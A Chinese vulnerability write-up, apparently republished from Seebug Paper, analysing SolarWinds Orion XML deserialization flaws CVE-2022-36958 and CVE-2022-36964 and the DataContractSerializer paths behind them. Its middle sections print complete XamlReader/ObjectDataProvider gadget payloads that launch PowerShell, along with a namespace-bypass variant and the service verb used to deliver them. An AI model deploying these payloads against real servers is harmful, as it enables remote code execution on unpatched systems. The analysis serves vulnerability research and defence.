4

Solarwinds DeserializeFromStrippedXml RCE

 10 months ago
source link: https://paper.seebug.org/3065/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

作者:g7shot@青藤实验室
原文链接:https://mp.weixin.qq.com/s/NT-1j4TdkEvnvf483HJPPg

DeserializeFromStrippedXml方法存在以下四个dll

  • solarwinds.informationservice.Contract.dll
  • solarwinds.MessageBus.dll
  • solarwinds.informationservice.Addons.dll
  • solarwinds.Orion.Core.SharedCredentials.Provider.dll

来看看diff,明显的xml反序列化。

图片

SWIS服务

Solarwinds软件中有一个SolarWinds Information Service (SWIS)服务,可通过该服务访问到Orion平台中的数据,提供了一种类似于SQL的语言SWQL。

图片

默认监听端口端口17778、17777,官方提供了SWQL Studio工具可进行SWQL查询以及API调用,HTTP也能进行部分调用但是只能调用一部分。

如果熟悉WCF,很容易找到对应的接口在/SolarWinds/InformationService/v3/json/,在配置文件:

<endpoint address="/Json" binding="webHttpBinding" bindingConfiguration="RestBinding" contract="SolarWinds.InformationService.Core.IRestInformationService" behaviorConfiguration="RestEndpointBehavior">
    <identity>
    <certificateReference x509FindType="FindBySubjectDistinguishedName" storeName="My" storeLocation="LocalMachine" findValue="CN=SolarWinds-Orion" />
    </identity>
</endpoint>
SolarWinds.InformationService.Core#IRestInformationService

不过SWQL Studio更加方便,只需要找到对应的verb填入参数即能调用

图片

CVE-2022-36958

这个CVE影响的是solarwinds.informationservice.Addons.dll,和上面提到的另外两个dll文件都实现了自定义反序列化的逻辑,实现都大同小异。

入口是将所有参数进行反序列化(DataContractSerializer),类型对应调用Verb函数的接收参数,如上。但是可以找到一个类实现了IXmlSerializable接口的方法,DataContractSerializer反序列化该类时会调用其readxml方法进行下一步操作,就像Json.NET自定义JsonConverter#ReadJson方法一样。

SolarWinds.InformationService.Addons.PropertyBag类继承了IXmlSerializable接口并实现了Readxml方法,当反序列化为PropertyBag类型时会调用ReadXml走自定义反序列化的逻辑,定位到SolarWinds.InformationService.Addons.PropertyBag#ReadXMl方法

  public void ReadXml(XmlReader reader)  
  {    
   foreach (XElement parent in PropertyBag.ElementsNamespaceOptional((XElement)XNode.ReadFrom(reader), "item"))    
   {      
     XElement xelement = PropertyBag.ElementNamespaceOptional(parent, "key");      if (xelement != null)      {        string value = xelement.Value;        XElement xelement2 = PropertyBag.ElementNamespaceOptional(parent, "type");        
     if (xelement2 != null)        
     {          
       string value2 = xelement2.Value;          
       XAttribute xattribute = xelement2.Attribute("overrideType");          
       if (xattribute != null)          
       {            
         value2 = xattribute.Value;          
       }          
       object obj = null;          
       XElement xelement3 = PropertyBag.ElementNamespaceOptional(parent, "value");              if (xelement3 != null && !xelement3.IsEmpty)          
       {            
         string value3 = xelement3.Value;            
         // 这里使用的反序列化器变为xmlserialzer            
         obj = this.Deserialize(value3, value2);     
         PropertyBagWhiteListCollector.LogObjectInfo(obj, SolarWinds.Serialization.Json.SerializationHelper.GetMethodFromStackTrace(), SolarWinds.Serialization.Json.SerializationHelper.GetAssemblyName());          
       }          
       base.Add(value, obj);        
     }      
   }    
 }  
}

将从xml中取出type和value进行反序列化,均可控。跟进

图片

中间有一部分逻辑省略了,最终确实拿到了我们期望的类型,然后调用DeserializeFromStrippedXml进行反序列化,但是在反序列化之前还会处理一次我们的xml

    public object DeserializeFromStrippedXml(string strippedXml)    
    {      
      if (strippedXml == null)      
      {        
        throw new ArgumentNullException("strippedXml");      
       }      
       string s = string.Format("<{0} xmlns='{1}'>{2}</{0}>", this.XsdElementName, this.Namespace, strippedXml);  
       return this.Serializer.Deserialize(new StringReader(s));    
     }

会在我们的payload最外层嵌套一层标签,这里XsdElementName是通过type正常生成的为ExpandedWrapperOfXamlReaderObjectDataProvider,但是namespace是获取为空的。

图片

命名空间的问题会导致正常payload无法正常执行,经过测试顶级命名空间不可控的情况下,移至子标签payload可正常执行,后来作者也提到了https://www.zerodayinitiative.com/blog/2023/9/21/finding-deserialization-bugs-in-the-solarwind-platform。

所以针对SolarWinds.InformationService.Addons.PropertyBag的payload:

<dictionary xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag">    
    <item>     
        <type>System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</type>        
        <key>g7shot</key>        
        <value><ExpandedElement/><ProjectedProperty0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><MethodName>Parse</MethodName><MethodParameters><anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>powershell</b:String><b:String>-c calc solarwindsRCE</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></anyType></MethodParameters><ObjectInstance xsi:type="XamlReader"></ObjectInstance></ProjectedProperty0></value>    
        </item>
</dictionary>

DataContractSerializer-->IXmlSerializable#ReadXml-->XmlSerializer RCE,调用栈

图片

CVE-2022-36964

自定义xml反序列化的地方有三处,这里利用到的类是SolarWinds.InformationService.Contract2.PropertyBag。

ReadXml实现代码:

public void ReadXml(XmlReader reader)  
  {    
     foreach (XElement parent in PropertyBag.ElementsNamespaceOptional((XElement)XNode.ReadFrom(reader), "item"))    
     XElement xelement = PropertyBag.ElementNamespaceOptional(parent, "key");      
     if (xelement != null)      
     {        
       string value = xelement.Value;        
       XElement xelement2 = PropertyBag.ElementNamespaceOptional(parent, "type");        
       if (xelement2 != null)        
       {          
         string value2 = xelement2.Value;         
         XAttribute xattribute = xelement2.Attribute("overrideType");          
         if (xattribute != null)          
         {            
           value2 = xattribute.Value;         
         }         
         Type left;          
         if (value2 == "SolarWinds.InformationService.PropertyBag")          
         {           
           left = typeof(PropertyBag);          
           }          
           else          
           {            
             left = Type.GetType(value2);          
           }          
           object obj = null;          
           XElement xelement3 = PropertyBag.ElementNamespaceOptional(parent, "value");          
           if (xelement3 != null && !xelement3.IsEmpty && left != null)          
           {            
             string value3 = xelement3.Value;            
             obj = this.Deserialize(value3, value2);            
             PropertyBagWhiteListCollector.LogObjectInfo(obj, SerializationHelper.GetMethodFromStackTrace(), SerializationHelper.GetAssemblyName());          
          }         
          base.Add(value, obj);       
         }      
        }    
    }  
}

和上面大同小异,最终构造针对SolarWinds.InformationService.Contract2.PropertyBag的payload如下:

<AlertingActionContext    
   xmlns="http://schemas.solarwinds.com/2008/Orion"    
   xmlns:i="http://www.w3.org/2001/XMLSchema-instance">    
   <MacroContext    
       xmlns="http://schemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Models.Actions.Contexts"           
       xmlns:a="http://schemas.solarwinds.com/2008/Orion">        
       <a:contexts            
           xmlns:b="http://schemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Models.MacroParsing">                    <b:ContextBase i:type="a:SwisEntityContext">                
               <a:DisplayName>Net object properties</a:DisplayName>                
               <a:EntityProperties>                    
                    <item xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag">                             <key>g7shot</key>                         
                    <type>System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</type>                      
                    <value>                            
                            <a><![CDATA[<ProjectedProperty0 xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string">]]></a>                            
                            <b><![CDATA[</b>                            
                            <d><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:a="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider a:Key="" ObjectType="{a:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>powershell</b:String><b:String>-c calc SolarwindsRCE</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></d>                            
                            <e>]]></e>                            
                            <c><![CDATA[</anyType></MethodParameters><ObjectInstance a:type="XamlReader"/></ProjectedProperty0>]]></c>                    
                        </value>                     
                        </item>                
                    </a:EntityProperties>                
                    <a:EntityType i:nil="true"/>                
                    <a:EntityUri i:nil="true"/>            
                </b:ContextBase>        
            </a:contexts>    
        </MacroContext>    
        <AlertActiveId i:nil="true"/>    
        <AlertContext>        
              <AlertName i:nil="true"/>        
              <CreatedBy i:nil="true"/>    
              </AlertContext>   
                   <AlertObjectId i:nil="true"/>    
                   <EntityType i:nil="true"/>    
                   <EntityUri i:nil="true"/>    
                   <EntityUris i:nil="true"        
                        xmlns:a="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>         
                        <ExecutionMode>Trigger</ExecutionMode>        
                        <IsGlobalAlert>false</IsGlobalAlert>        
                        <NetObjectData i:nil="true"            
                            xmlns:a="http://s
chemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Common.Alerting"/>            
             <ObjectDataExists>false</ObjectDataExists>       
       </AlertingActionContext>

找到入口点传入的类型为SolarWinds.InformationService.Addons.PropertyBag,复制上面的payload发送,比如Orion.AlertActionExecuted.ReportIndication的verb

图片
图片

Solarwinds之前的CVE-2022-36957( PropertyBagJsonConverter )和上面的两个Xml反序列化,都是通过找到特定类自定义的反序列化进行下一步的利用。

对比下DataContractSerializer正常反序列化逻辑和走自定义反序列化逻辑的调用栈:

图片
图片

最终都会进入到XmlObjectSerializerReadContext#ReadDataContractValue方法,然后再调用ReadXmlValue走内部反序列化的逻辑,具体代码

protected virtual object ReadDataContractValue(    
    DataContract dataContract,    X
    XmlReaderDelegator reader)
{   
    return dataContract.ReadXmlValue(reader, this);
}

根据上面的调用栈可以发现两种不同的反序列化过程区别在于dataContract属性,分别是XmlDataContract和ClassDataContract,而dataContract是在DataContractSerializer类中进行初始化的:

private DataContract RootContract
{   
    get    
    {    
    if (this.rootContract == null)   
    {        
        this.rootContract = DataContract.GetDataContract(this.dataContractSurrogate == null ? this.rootType : DataContractSerializer.GetSurrogatedType(this.dataContractSurrogate, this.rootType));        this.needsContractNsAtRoot = 
        this.CheckIfNeedsContractNsAtRoot(this.rootName, this.rootNamespace, this.rootContract);    
     }    
     return this.rootContract;    
     }
}

然后通过一系列的调用获取DataContract复制给this.RootContract,贴下这部分调用栈

图片

最终会拿到对应的DataContract实例:

图片

由于本地调试环境问题没有详细跟进,不过可以清楚看见第二个红框标记的一个if条件是type.IsDefined(Globals.TypeOfDataContractAttribute, false)。

参考官方文档,在使用DataContractSerializer反序列化类时,类需要标记DataContract特性,所以在正常使用过程中都会使用ClassDataContract#ReadXmlValue,然后再走内部反序列化的逻辑,这里不再赘述。

简单看下XmlDataContract#ReadXmlValue最终是怎么调用到反序列化类的ReadXml方法中的:

图片

进入ReadXmlValue方法中之后会调用XmlObjectSerializerReadContext.ReadIXmlSerializable(),跟进

图片

到这里最终调用了ReadXml方法走自定义反序列化的逻辑。

那其他Xml序列化器是否也有类似的处理逻辑?我们知道常见的xml序列化器有

  • DataContractSerializer,继承XmlObjectSerializer
  • NetDataContractSerializer,继承XmlObjectSerializer
  • XmlSerializer

调试发现NetDataContractSerializer同样也支持这种方式,如果CVE-2022-36958的序列化器是NetDataContractSerializer,如下payload也同样适用:

 <dictionary z:Type="SolarWinds.InformationService.Contract2.PropertyBag" z:Assembly="SolarWinds.InformationService.Contract, Version=2022.3.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">    
      <item>    
      payload    
      </item>
</dictionary>

最后补充下类自定义Xml( DataContractSerializer、NetDataContractSerializer )反序列化条件:

  1. 继承IXmlSerializable&不能被DataContract特性标记
  2. 定义XmlRoot特性或者XmlSchemaProvider特性
  3. 需要一个无参构造函数

例如反序列化这个类时就能走到ReadXml方法:

 //条件1    
   // [XmlRoot("dictionary", Namespace = "http://schemas.solarwinds.com/2007/08/informationservice/propertybag")]    
   [XmlSchemaProvider("GetSchema")]    
   //条件2    
   class Person : IXmlSerializable    
   {        
         [DataMember()]        
         public string FirstName;        
         [DataMember]        
         public string LastName;        
         [DataMember()]        
         public int Age;        

         public Person(string newfName, string newLName, int age)        
         {            
               FirstName = newfName;            
               LastName = newLName;            
               Age = age;       
          }        
          // 条件3        
          public Person()        
          {            
                Console.WriteLine("init!!!");        
          }        
          public XmlSchema GetSchema()        
          {            
              throw new NotImplementedException();        
          }        
               public void ReadXml(XmlReader reader)        
          {            
               throw new NotImplementedException();        
          }       
          public void WriteXml(XmlWriter writer)        
          {            
              throw new NotImplementedException();        
          }        
          public static XmlQualifiedName GetSchema(XmlSchemaSet xs)        
          {            
               return null;       
               }
        }

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3065/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK